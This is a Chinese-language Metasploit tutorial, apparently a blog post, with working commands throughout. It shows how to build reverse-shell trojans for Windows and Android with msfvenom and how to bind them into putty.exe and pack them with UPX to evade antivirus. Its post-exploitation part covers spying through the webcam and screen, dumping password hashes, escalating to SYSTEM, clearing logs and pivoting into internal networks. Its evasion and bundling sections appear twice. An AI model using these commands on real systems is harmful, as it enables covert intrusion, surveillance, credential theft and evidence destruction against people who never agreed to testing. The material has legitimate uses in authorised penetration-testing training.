0.Metasploit簡介
Metasploit是一款開源的滲透測試框架平台,到目前為止,msf已經內置了數千個已披露的漏洞相關的模塊和滲透測試工具,模塊使用ruby語言編寫,這使得使用者能夠根據需要對模塊進行適當修改,甚至是調用自己寫的測試模塊。選定需要使用的攻擊模塊之后,你只需要使用簡單的命令配置一些參數就能完成針對一個漏洞的測試和利用,將滲透的過程自動化、簡單化。
1.Metasploit安裝
Windows平台
首先從官方網站下載安裝程序:
http://downloads.metasploit.com/data/releases/metasploit-latest-windows-installer.exe
默認端口:3650
關閉殺毒軟件后以管理員身份運行安裝程序,安裝過程會附帶安裝PostgreSQL數據庫用以存儲metasploit內各模塊,載荷等索引,加快搜索速度
安裝完成后,在桌面生成Metasploit的快捷方式,右鍵以管理員身份運行將打開cmd並運行Metasploit控制台
Windows下啟動Metasploit時加載時間較長,若無反應請耐心等待3-5分鍾
Windows平台上,Metasploit還提供了Web訪問界面,實現圖形化的操作
Linux平台
從github獲取
git clone https://github.com/rapid7/metasploit-framework.git
切換到metasploit-framework目錄,賦予msfconsol執行權限並啟動
cd metasploit-framework && chmod +x msfconsole && ./msfconsole
使用以下命令下載一鍵式安裝程序,具體安裝進度試網絡情況
cd /opt && curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && ./msfinstall
Kali Linux自帶了Metasploit以及自動化滲透工具Armitage
Android平台
安卓安裝Metasploit實際上是先在安卓上安裝一個linux子系統,然后再在此基礎上安裝Metasploit,雖然過程復雜繁瑣,但在企業網絡環境下進行滲透測時,拎着一台筆記本接入網絡也許會太過顯眼,這種情況下在安卓手機或平板上安裝Metasploit也不失為一種選擇
前提:安卓手機或平板需要root權限
通常選擇安裝Termux作為基本環境,啟動后會聯網下載系統,具體時間視網絡環境長短不一,所以你可以選擇在這時候睡個午覺什么的 =.=#
Termux使用apt包管理器,執行以下命令更新
apt-get update && apt-get upgrade -y && apt dist-upgrade -y
接下來的安裝Metasploit和上述linux平台安裝相同
2.使用Metasploit進行滲透測試
Terminal下msf常用命令簡介
msfdb init msf數據庫初始化
apt install metasploit framework msf更新
msfVENOM 多平台攻擊載荷生成器
msf-nasm_shell 將匯編指令轉換成為對應的16進制機器碼
msfconsole 打開msf終端
msf終端下常用命令簡介
db_status 查看數msf據庫連接狀態,連接數據庫能夠優化搜索等過程
db_rebuild_cache 重建緩存,將模塊等索引重新存入數據庫
db_nmap 調用nmap掃描,並將掃描結果存入數據庫
help [db_connect] 顯示命令的幫助信息
search [module] 搜索含有關鍵字的模塊
use [module] 選擇使用一個模塊(以ms17_010永恆之藍為例)
show payload 顯示該模塊支持的payload
show options 顯示該模塊需要設置的參數(其中required為no的表示不是必須的參數)
info 如果覺得show命令顯示的不夠完整可以直接輸入info查看詳細詳細
set [opt] 使用模塊后,設置模塊所需要的參數的值(對應使用unset取消設置的值)
setg [opt] 設置全局參數,對於ip之類的參數可以設置為全局,當切換模塊后就不需要再次設置ip參數(對應使用unsetg取消設置)
back 返回上級狀態
exploit/run 兩個命令都表示運行攻擊模塊
sessions 查看當前連接的會話
3.使用msfvenom生成木馬文件
t關於payload的選擇,出於防火牆等多種原因,目標主機上可能會限制外網對內網一些端口的訪問,甚至是只開放一些端口然后關閉其他所有端口。在這種情況下,讓目標主機回連攻擊者成為更好的一種選擇,這種模式相當於目標主機自己發出一個對外的連接請求,屬於正常的流量,因此可以繞過安全設置,所以在選擇payload時普遍選擇使用帶reverse的payload。
一般32位使用windows/meterpreter_reverse_tcp 而64位的使用windows/x64/meterpreter_reverse_tcp。當然仍然需要根據不同的需求選擇不同的載荷
查看可使用的載荷/編碼器/nops/所有列表
msfvenom -l payload/encoders/nops/all
查看可生成的木馬文件格式,使用-f 指定木馬格式
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -a x64 -f exe -o backdoor_raw.exe
生成安卓木馬
msfvenom -p android/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -o backdoor_raw.apk
msf終端監聽會連回話
use exploit/multi/handler 該模塊用於接收回連會話,一般只需要設置監聽主機和端口號
4.木馬免殺
使用多個編碼器混合進行多重編碼
不推薦使用,免殺率低,編碼時間長,且生成的木馬可能會出現無法運行或運行后無法回連到攻擊端的情況
"-f raw" 表示生成原始木馬,這種通過管道生成的木馬只需要不斷傳遞,所以只需要在最后一條命令指定生成的格式,而在此之前都應該使用raw的原始木馬
捆綁到正常文件中
推薦使用,捆綁木馬到正常文件后能夠使用戶放松警惕,因此在實際生活中,我們應該注意比對文件與官方提供的hash值
選擇捆綁目標時,有可能出現捆綁后無法運行的情況,這種情況下可以嘗試使用編碼器,或者更換捆綁目標,這里以putty作為例子
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.16.99 lport=4444 -x putty.exe -k -f exe -o backdoor_putty.exe
加殼
推薦使用,加殼技術能夠一定程度上繞過殺軟的檢測,這里使用linux上普遍使用的upx加殼為例,windows上加殼的工具也有許多,可自行選擇
upx -5 backdoor_raw.elf -5 表示壓縮等級(1-9),詳細命令參考upx -h
上述方法綜合使用
附上一個在線檢測木馬的網站: http://www.virscan.org/
捆綁到正常文件中
推薦使用,捆綁木馬到正常文件后能夠使用戶放松警惕,因此在實際生活中,我們應該注意比對文件與官方提供的hash值
選擇捆綁目標時,有可能出現捆綁后無法運行的情況,這種情況下可以嘗試使用編碼器,或者更換捆綁目標,這里以putty作為例子
加殼
推薦使用,加殼技術能夠一定程度上繞過殺軟的檢測,這里使用linux上普遍使用的upx加殼為例,windows上加殼的工具也有許多,可自行選擇
upx -5 backdoor_raw.elf -5 表示壓縮等級(1-9),詳細命令參考upx -h
上述方法綜合使用
附上一個在線檢測木馬的網站: http://www.virscan.org/
5.meterpreter后滲透利用
通過exploit/multi/handler模塊監聽,並與目標主機建立連接后,能夠使用meterpreter進行后滲透利用
pwd 打印當前工作目錄
sysinfo 查看系統信息
ps 查看當前目標機上運行的進程列表和pid
webcam_snap 調用相機拍攝照片(使用webcam_stream能夠通過瀏覽器模擬錄像機,實現實時監控)
run vnc 運行vnc遠程查看屏幕(run screen_unlock實現遠程控制)
run post/windows/manage/enable_rdp 如果目標主機是windows系統,使用該命令開啟目標的遠程桌面3389
screenshot 截取目標主機當前屏幕
getuid 獲取當前權限的用戶id
getsystem 獲取system權限
hashdump 獲取用戶名與hash口令
shell 獲取目標主機shell(windows環境下中文亂碼的解決辦法:chcp 65001
Ctrl+Z 退出shell模式,返回到meterpreter
upload 上傳一個文件
download 下載一個文件
excute 執行目標系統中的文件(-f 指定文件,-i執行可交互模式,-H隱藏窗口)
clearev 清除日志
background 將Meterpreter放入后台(使用session -i重新連接到會話)
6.Meterpreter進行內網滲透簡介
在滲透過程中,當你拿到一台能夠連接公網的的主機的權限時,這台主機可能還連接着一個內部的局域網絡,而且這個局域網內的其他主機沒有對外訪問的權限。這是一種很常見的局域網模式,通常一些無法連接外網的主機內可能存放着一些敏感文件,此時可以通過以及控制的那台主機作為攻擊者訪問內網的跳板,用來實施對內網的滲透
添加到達內網的路由
run get_local_subnets 獲取目標主機上的子網狀態,其中192.168.16.0和攻擊機在同一個網段,169.254.0.0是vritualbox的內部網卡模式
run autoroute -s 169.254.0.0/16 1 使用autoroute模塊添加到達內網的路由經session 1轉發
run autoroute -p 查看當前的路由表,可以看到發往169.254.0.0網段的流量都將通過session 1轉發
接下來就可以在msf下使用db_nmap掃描內網存活主機,針對內網的開放端口進行攻擊
portfwd端口轉發
端口轉發能夠將內網端口轉發到本地主機的端口,相當於virtualbox的端口映射功能。
portfwd -h 查看幫助信息
portfwd add -l 7070 -r 192.168.16.59 -p 3389 將目標主機192.168.16.59的3389轉發到本地主機的7070端口
rdesktop 127.0.0.1:7070 端口轉發成功后就可以從本地端口連接rdp
參考書籍《Metasploit The Penetration Tester's Guide.》《Metasploit滲透測試指南(修訂版)》
